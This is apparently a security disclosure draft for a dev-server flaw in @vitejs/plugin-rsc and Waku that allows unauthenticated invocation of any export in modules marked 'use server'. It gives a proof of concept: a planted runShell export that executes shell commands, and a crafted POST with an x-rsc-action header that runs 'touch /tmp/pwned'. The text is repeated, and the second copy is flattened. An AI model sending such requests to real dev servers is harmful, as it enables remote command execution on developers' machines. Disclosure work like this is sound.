Disclosure draft: vitejs/vite-plugin-react (@vitejs/plugin-rsc)
Summary
@vitejs/plugin-rsc dev server allows unauthenticated remote invocation of any export of any module that contains a use server directive, because loadServerAction performs no export-name validation and the dev-mode module loader returns the full module namespace. This affects all frameworks built on plugin-rsc's RSC runtime (confirmed: Waku ≥0.24 / 1.0 betas; React Router v7 RSC mode; TanStack experimental RSC package) as well as direct plugin-rsc consumers.
Details
packages/plugin-rsc/src/core/rsc.ts:94-98:
export async function loadServerAction(id: string): Promise<Function> {
const [file, name] = id.split('#') as [string, string] // both fully attacker-controlled
const mod: any = await requireModule(file)
return mod[name]
}
The dev-mode validation gate (plugin.ts:357-405, rsc:reference-validation) only checks that the file is (or can be transformed into) a server-reference module — and helpfully transforms-and-registers any workspace file containing a use server directive on demand (plugin.ts:381-394), so the target module does not even need to be routed/rendered. After the file-level check, rsc/shared.ts:6-13 does import(id) and the full namespace is returned; mod[name] then reaches any own export, including plain helper exports that are not actions at all (e.g. exports of a server-component file that merely contains one function-level 'use server').
Production builds are not affected: the build-time virtual:vite-rsc/server-references module (plugin.ts:2154-2174) destructures only the scanned action exports, and reference keys are hashed.
Module ids in dev are plain project paths (e.g. /src/actions.ts), visible in served pages/chunks and trivially guessable.
Reproduction (verified end-to-end, plugin-rsc starter example)
Target module src/poc-target.ts (never routed):
export async function targetAction() {
'use server'
return 'target-ok'
}
export async function runShell(cmd: string) { // plain export, NOT an action
const cp = await import('node:child_process')
return new Promise((r) => cp.exec(cmd, (e, so) => r(String(so))))
}
Request (dev server):
POST /_.rsc HTTP/1.1
x-rsc-action: /src/poc-target.ts#runShell
Content-Type: text/plain
["touch /tmp/pwned"]
Result: 200, file /tmp/pwned created — unauthenticated remote command execution (the runShell export stands in for the dangerous-helper pattern; even without such an export, the flaw exposes every "hidden" action/helper the app never shipped to clients).
Waku inheritance (also verified live, waku@1.0.0-beta.9): POST /RSC/F/_/src/poc-target.ts/runShell.txt with the same body — same result. Waku's decodeFuncId (waku/dist/lib/utils/rsc-path.js:40-55) performs zero validation.
Boundary (all verified): node: builtins, modules without a genuine directive (AST-level prologue detection), and files outside the workspace (isFileLoadingAllowed) are all rejected.
Impact
- Any developer running
vite dev/waku dev (which binds all interfaces by default) with a project that has any dangerous export in a use server-containing module is exposed to unauthenticated RCE by same-machine processes, LAN attackers, or drive-by browser attacks (no-Origin requests are accepted; Waku's only check is an Origin match that allows absent Origin).
- Even absent dangerous exports, attackers can invoke actions/helpers the application never exposed to clients (authorization-bypass class).
An ecosystem sweep of 64 public dependent repos found no ready-made dangerous export in dispatchable modules; the issue is reported as a framework-level design flaw (the primitive), not as a claim of in-the-wild RCE.
Suggested fix
- Validate the full
file#name pair against the scanned server-reference registry in dev (same semantics as the production virtual module), e.g. have load() return a view exposing only registered export names.
- Consider gating the on-demand
transformRequest registration fallback to modules already in the graph.
- Frameworks (Waku/RR7): validate the decoded func id against the registry before dispatch.
Affected versions
@vitejs/plugin-rsc 0.4.x–0.5.x (verified on latest as of 2026-08-10); waku ≥0.24 / 1.0.0-beta.9 (verified). React Router v7 RSC mode and TanStack experimental RSC inherit the plugin-rsc dispatch.
Disclosure draft: vitejs/vite-plugin-react (@vitejs/plugin-rsc)
Summary
@vitejs/plugin-rscdev server allows unauthenticated remote invocation of any export of any module that contains ause serverdirective, becauseloadServerActionperforms no export-name validation and the dev-mode module loader returns the full module namespace. This affects all frameworks built on plugin-rsc's RSC runtime (confirmed: Waku ≥0.24 / 1.0 betas; React Router v7 RSC mode; TanStack experimental RSC package) as well as direct plugin-rsc consumers.Details
packages/plugin-rsc/src/core/rsc.ts:94-98:The dev-mode validation gate (
plugin.ts:357-405,rsc:reference-validation) only checks that the file is (or can be transformed into) a server-reference module — and helpfully transforms-and-registers any workspace file containing ause serverdirective on demand (plugin.ts:381-394), so the target module does not even need to be routed/rendered. After the file-level check,rsc/shared.ts:6-13doesimport(id)and the full namespace is returned;mod[name]then reaches any own export, including plain helper exports that are not actions at all (e.g. exports of a server-component file that merely contains one function-level'use server').Production builds are not affected: the build-time
virtual:vite-rsc/server-referencesmodule (plugin.ts:2154-2174) destructures only the scanned action exports, and reference keys are hashed.Module ids in dev are plain project paths (e.g.
/src/actions.ts), visible in served pages/chunks and trivially guessable.Reproduction (verified end-to-end, plugin-rsc
starterexample)Target module
src/poc-target.ts(never routed):Request (dev server):
Result: 200, file
/tmp/pwnedcreated — unauthenticated remote command execution (therunShellexport stands in for the dangerous-helper pattern; even without such an export, the flaw exposes every "hidden" action/helper the app never shipped to clients).Waku inheritance (also verified live,
waku@1.0.0-beta.9):POST /RSC/F/_/src/poc-target.ts/runShell.txtwith the same body — same result. Waku'sdecodeFuncId(waku/dist/lib/utils/rsc-path.js:40-55) performs zero validation.Boundary (all verified):
node:builtins, modules without a genuine directive (AST-level prologue detection), and files outside the workspace (isFileLoadingAllowed) are all rejected.Impact
vite dev/waku dev(which binds all interfaces by default) with a project that has any dangerous export in ause server-containing module is exposed to unauthenticated RCE by same-machine processes, LAN attackers, or drive-by browser attacks (no-Origin requests are accepted; Waku's only check is an Origin match that allows absent Origin).An ecosystem sweep of 64 public dependent repos found no ready-made dangerous export in dispatchable modules; the issue is reported as a framework-level design flaw (the primitive), not as a claim of in-the-wild RCE.
Suggested fix
file#namepair against the scanned server-reference registry in dev (same semantics as the production virtual module), e.g. haveload()return a view exposing only registered export names.transformRequestregistration fallback to modules already in the graph.Affected versions
@vitejs/plugin-rsc0.4.x–0.5.x (verified on latest as of 2026-08-10);waku≥0.24 / 1.0.0-beta.9 (verified). React Router v7 RSC mode and TanStack experimental RSC inherit the plugin-rsc dispatch.